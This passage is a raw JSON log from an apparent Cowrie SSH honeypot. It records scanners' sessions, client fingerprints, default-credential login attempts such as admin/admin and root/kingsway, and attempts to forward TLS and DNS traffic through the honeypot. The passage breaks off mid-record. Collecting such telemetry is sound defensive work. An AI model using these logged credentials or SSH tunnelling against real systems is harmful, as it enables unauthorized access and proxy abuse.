{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:34.934924Z","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20748,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c3035e9fd5b","protocol":"ssh","message":"New connection: 87.251.64.176:20748 (10.17.0.5:22) [session: 9c3035e9fd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.157316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.160776Z","src_ip":"87.251.64.176","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.183130Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xa05\\xcfs\\xde\\xad\\xd5|\\xb1\\x91\\x80\\x8c\\xe5X\\xab+\\x00\\xdae\\xc8\\xc8P\\xd4\\xd8\\xc1-X^\\xc4\\xf2\\r \\x9f9\\xad\\xafu\\x8caO\\x0b\\x94\\xd6{\\x0f\\xdd\\x16\\x1eW\\xbf\\xb1w\\x1f\\xf0\\xd4ZyHA0\\xc4\\xe4\\xf9(\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 y(\\x8f`\\xa6\\xb4\\xba\\n.\\xda\\xfc\\xe1]\\xfa\\x1d\\xaeaP\\xa7\\x86\\x04\\x8a1u\\xaf\\xcf\\x9a\\x84R\\xaf\\x1e\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xa05\\xcfs\\xde\\xad\\xd5|\\xb1\\x91\\x80\\x8c\\xe5X\\xab+\\x00\\xdae\\xc8\\xc8P\\xd4\\xd8\\xc1-X^\\xc4\\xf2\\r \\x9f9\\xad\\xafu\\x8caO\\x0b\\x94\\xd6{\\x0f\\xdd\\x16\\x1eW\\xbf\\xb1w\\x1f\\xf0\\xd4ZyHA0\\xc4\\xe4\\xf9(\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 y(\\x8f`\\xa6\\xb4\\xba\\n.\\xda\\xfc\\xe1]\\xfa\\x1d\\xaeaP\\xa7\\x86\\x04\\x8a1u\\xaf\\xcf\\x9a\\x84R\\xaf\\x1e\\x00\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.185729Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.263022Z","src_ip":"87.251.64.176","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.546191Z","src_ip":"123.27.168.40","session":"1a8d9b629e33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.591567Z","src_ip":"87.251.64.176","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.723910Z","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.855963Z","src_ip":"87.251.64.176","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:35.993735Z","src_ip":"87.251.64.176","session":"9c3035e9fd5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingsway","message":"login attempt [root/kingsway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:41.615042Z","src_ip":"27.71.230.31","session":"64468727f9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:45.305756Z","src_ip":"27.71.230.31","session":"64468727f9d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.793204Z","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.851006Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\x92\\xee\\x96\\xecG\\xd8\\\\[vyH\\x19\"5\\x93\\x8b\\xae\\x12\\x9d\\x0b\\xfb\\x7fr\\xc0\\xabW\\xde_;\\xe4\\xe5 k\\xc5IC\\xbd\\xe6\\x0c\\xc1\\xd6\\xc8\\x83\\x9bc\\xffW\\xe8\\xfa\\xdd8h\\x8fn\\x11Z\\xeb\\x9bG\\xb2\\xf6\\xd5t\\x8d\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\x89\\x19g\\xb2Ttob\\xde\\xfb\\x15\\x85\\x93\\x14\\xa2\\x02\\xa5SI\\xa1.\\xfcp\\xef\\na\\xd6,\\x97FV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03y\\x92\\xee\\x96\\xecG\\xd8\\\\[vyH\\x19\"5\\x93\\x8b\\xae\\x12\\x9d\\x0b\\xfb\\x7fr\\xc0\\xabW\\xde_;\\xe4\\xe5 k\\xc5IC\\xbd\\xe6\\x0c\\xc1\\xd6\\xc8\\x83\\x9bc\\xffW\\xe8\\xfa\\xdd8h\\x8fn\\x11Z\\xeb\\x9bG\\xb2\\xf6\\xd5t\\x8d\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0c\\x89\\x19g\\xb2Ttob\\xde\\xfb\\x15\\x85\\x93\\x14\\xa2\\x02\\xa5SI\\xa1.\\xfcp\\xef\\na\\xd6,\\x97FV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.854223Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.916686Z","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.979340Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xd7\\x97\\xfa\\xb8\\x03 h\\x89\\x80\\xe6a\\x05\\xecq\\xf4\\x16\\xc5(\\x93\\x83\\xf6ax\\xe7\\x14\\xcc\\x87\\xbd\\t\\xc0\\xb8 O\\x97\\x7f@.\\xc8\\xc3\\xd7D\\xce|\\'\\xfa\\x13`{W\\xe2JVNp\\x838k\\xe9\\xb3#\\xcc\\xd5\\xfd{\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 +\\t\\xe4\\x81\\x16l\\xaf&HX\\x90\\xa1\\xdd\\xe4\\xc2\\xbd\\x8a\\xa6\\x00\\xad\\x119t\\xd9\\xcbWhRZ\\xee>y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd1\\xd7\\x97\\xfa\\xb8\\x03 h\\x89\\x80\\xe6a\\x05\\xecq\\xf4\\x16\\xc5(\\x93\\x83\\xf6ax\\xe7\\x14\\xcc\\x87\\xbd\\t\\xc0\\xb8 O\\x97\\x7f@.\\xc8\\xc3\\xd7D\\xce|\\'\\xfa\\x13`{W\\xe2JVNp\\x838k\\xe9\\xb3#\\xcc\\xd5\\xfd{\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x